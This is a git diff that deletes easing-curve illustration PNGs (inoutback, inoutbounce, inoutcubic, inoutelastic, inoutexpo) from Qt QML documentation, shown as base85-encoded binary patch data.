b/src/qml/doc/images/qeasingcurve-inoutback.png deleted file mode 100644 index 480bc051ef536d01e87e1c8acc4514ded1f1c66a..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 3241 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 LX1e7%PEr2@W=SAz diff --git a/src/qml/doc/images/qeasingcurve-inoutbounce.png b/src/qml/doc/images/qeasingcurve-inoutbounce.png deleted file mode 100644 index de623091cfb846b72b421fa0bfde271d4ba87d16..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 3386 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 diff --git a/src/qml/doc/images/qeasingcurve-inoutcubic.png b/src/qml/doc/images/qeasingcurve-inoutcubic.png deleted file mode 100644 index 49dfbef1b6315432551095d4bc64b07ac33fe8aa..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 2931 zcmV-(3yk!MP)FkD1t_TiLaD73Up+tYUD^FXFEr@#5l`JUhJch0nBh>ssX0zUftm34JrF*<-9 z1#SnVPMQT^7-Dd+D7`id8#w|nBMX2TW%5l?df{s(s-MB2A{dOSSXH&aw;UT&pqKo% zFgsOMEs!Lawu{JTQV@V7If~+Fn&AHeKzTV^Ud{plO%uVO0&TAfFP=~ynG^&70E%L1 zT0v0@G#%}0;kZsPs2PR;fd2l}PA3JF9G5~W&}g_|P{DB=!+=`NⅆlgNmxEuO!Ja z4B__|A#2P30@@}??)&eTru_W=lpMgz(2!EC=638zA$Dn+7#k}}kaANl!Ws=bHddt3 zL{m*kNp#@TG$Cv@GqdCY0FWd%GZWh;zX%2uF}*)DlqjIlQHtVr>{#&o<4(;}&IuI7 z4Gt>m>J|WiBssO3Lx}~I1O!QP<>hS5{;H}4K3SENfG`^Jf?#l|ZlS41NlDz6!lM+$ zg+jnr%@~LeA3kKn-{i=bTM;x(ghEBaL4#6mykQh`6ipOYouSC#1CoTls@mE_5sHP8k&)is-X~9< zG&VLC7Z=yp*YDc3Yt@$DXfz+hb)cMrmLcr=Teoh->vtZJy${&e0Xg+~z{{5}Z8lqD zW8=-6H&NGT!8bVqqM+VyYirxLZ(s87(oj@{rp26BUIzfIxAy@+WbcD40Ep=Qv> zME1UhqC`3%X#vEKeK`fKpW)$QjG2c=q5`li>u@-1Hk-)a7oUP8x(;~u?3q%jJbd`D z$g|Va(;&`*6xRX6!^1aj+-PraCkXuCQ<7W?Ldoai#fy9P>=AE`+PG1q1<47}*Vm^~ zsg4{uk``<9^t4C|(h`7W*}He|S}c}aNInQ@34n%wZEbD349Y1e1u`-G$m$fn02wO3 z2ss6E&C_r|~Z@MTn0Z{opapFXFPA8|JSh8Gxg`)G778i?vR{5h_C6Gn04&RPb#*m1HsW?9H3~<7=g*&KfAzb0%NCIq3Pb>w zW$)d)cjnBQESFz71x4xU>B*OyKQR=706w3uy}kYX`SaPIeaa~aSe9*TYqMIdyLa!- z{@KN+puArPpyYGt(4n0D=1*esI|5MhX=!P}we;Pxb*o4Vc`N`*J{K-rz><6rZ{NHT zX(5jV=g2g81IAtgOWC zOB%>C0dlSP#iyWr`hCE_z`&I&S6W+J_wL<`-EG91*RLh<|AIzGNBjEvy1TnuTU&Ev z?5B%dPeG%jqqlG0wpy(Ug`%ykE!TQ~>$YtoE#zDTjE;`Jc<};l&(6+vcXuB@e!Q)% zZRgINcpY1nUmwynFeki$G=d&it9k)_3PK^@@5@)JjFFNqCyxi;{DI{ zB3$s~{pSIAF&h66>3+`5g0cp~5EBzBSbW;I!7#5@a}yIPwVI1W6g4$-3`6*Q8&G4E zXM}r5lH0z0K3@CE$}c3zg+fK)uo5+{to#!5619}B006)+1nQ|sL@_?Ds;vCNFoah7 z)nJ$h0H1Gz!7#7Uu%S@V__)eonCJHh#S^yYb()w^ZQnj04lB`~@o^Qy5W<(d50b6{ zB*~%2-=Rm<&dw4f$)RoZ^hdO<(Xf$-Lbyk0fo~509#65yQ|$9?;2$38@e~7q!7v~5 zlD8n~2uO)|&!goLCKd!5@2JyjYUW~IqBfF_0G>!hfgaD!??I1XMo&#9H=?GvL0*yxiKvh(Dw6gL`Oc6$90PR`%cv@k56b(L~ z5>;KT_Nzw2j*l1fFZs6<;cz$;*Onw07h}rJI6Q*330Y%aD&jF2b0R1;C6f0A^$XFe3|q8Cd|#NOv8OBghee8Cd|# z$O2$S763D{0GN>lz>G8n@Yu`C?H=4-004l3%Lt(dKb0@?(}Pglb^x%f^)*kD##b2i zTq|EjLQB8_EPfmi<8)FUq>&6ofY#hO>2{dF*tKFBLJW^cXpb!t6Ny+ zm2S~WbVsy#nDXHQx&%=c$DgL21{5w`mX0QYPDta5EHvxlj~`J z7{UQRRBm6t-b<$6Dx*#_?0V#A+6O{Knekqb6|}CW5W;dOYCgL z+tUG-hUA0Z*kA!c0$C5?fPd+fn}y+!c`~#P;5aUNn}2C@l>-O<_Rn^(*4p{Gx5ut) z>aaL%2RM$~R(s6kdfFd~9%$+iT64YP*8vA?PK(Q0+w2sq3_{N4W@jj&1%Dv4*w$us zS&kl9bn`&7!_?6v^vRyVwLyj=Al!9YUuSiJ%UY*D-IZWCZT#!~K;USvK1%P=KpF*aW@G^{ dBMX3;{{thY9Vuh?)o%a*002ovPDHLkV1g%cgjfIo diff --git a/src/qml/doc/images/qeasingcurve-inoutelastic.png b/src/qml/doc/images/qeasingcurve-inoutelastic.png deleted file mode 100644 index 5b0e54a01993aa534ea7766497933576b91e3eab..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 3461 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 bKlC2~Ef%RtJlCzWg$vNvG1h*k=@{`J#sO-R diff --git a/src/qml/doc/images/qeasingcurve-inoutexpo.png b/src/qml/doc/images/qeasingcurve-inoutexpo.png deleted file mode 100644 index 776984a113a9fe4c973a2c20d8f13d6ebf9d79c9..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 3004 zcmV;t3q$mYP)p$eYkq(5nX`8xn`p-#wh(KC|O^hsB zosdA}r6)NrgojE-z*}D|xe`d|Y-AKwDnjUL#KZA|Bf%R=B@Uvvvd;nKPo3td?KZ9d zY@sFV_5o$nG|lckjI-G~wrgj1J<0BV9-`fu@o#45JM){F-OUbh|NeczM?7wFyB}dJ z0Co(x3!rsm7Jy}mnHi(JHr0*Z12CftfEiQcNs)UI#!NJR77B(!p{!zm|C*38oi?CT z;aKdQ`uo>Nl9%lwb}~%}K$1K~@eD%ss8d>ojVXB>*5EZ!SA6VB+~ET!Gcf7YYWR=UEmk7H(;Yn3*y3_dg;@ zo@I$l#)zyv{uj_ON%AkgxH07y!ka1pUS?-a77O3o+eF`G7$TiE)^WK_55iU}mrfh4 z*0QT{Ts z_?a1l+r0(=B*|MWJaQ~(NI;Mz-_^xcg!lKa3C^m$9mKt1M^Gqij9X~x(cWG&r8t(N z_+k-+QL_T#-o1N@l(#W<%B={7A&Nz#xX~b&TdNsW#G;8})ftMu4rmCLB?Pa#1<)8- zHA)wt6_6w>FY5x}gJr>Dk!cpBO-Pb2mFm^i?5s(+Bd{5kC2CDWn_CAc0rmnkg4N2W z)5fKx@|?R+FcgbM0Eov;Jw1;oieFj+hl4}cvN@Jvi2eK5s$QwSG;Ngq`_~Eu16l_N zH((G9Ls+ex(8f2%!sF9)F}e$Cl&&srd6`J3t1PKlmY}HWb0mf#G8t1(PtC=%-UFJT z)~vtIEl7&uDQdNjOa?Aeu-70aieqNqj=q(GEPCFxeSOd??(7^v4nm1b^kZhUxhNEvMjz;WD{Uw--SyYCW&JP${$6eZDuwgf=Ue_&uh zE`z!YY697tzbt4-0NI;A$l-#tvJT)lE)t1+@WBTl>y)2aTm)&>w9*46CML{gv%Jk; z7PKP3k3ar+`t)hpy+5^UmqZJi5P;|T>FH^S_l>KxIkpBVQ1vP?l1Ar{3e;ts^Ds z`uqD8y8R%r_CX5*T)lc#mRtV{p?(3bUAuPl=uw4?@9OA~XhG!yJb3Vcrs>0n4=ZF} zcR^1eo6R0LaKLOf<1R=|R4za|omS5OfbN2x$c-B}91e$a_NBWZmH&Uh&6_u0fBkjr 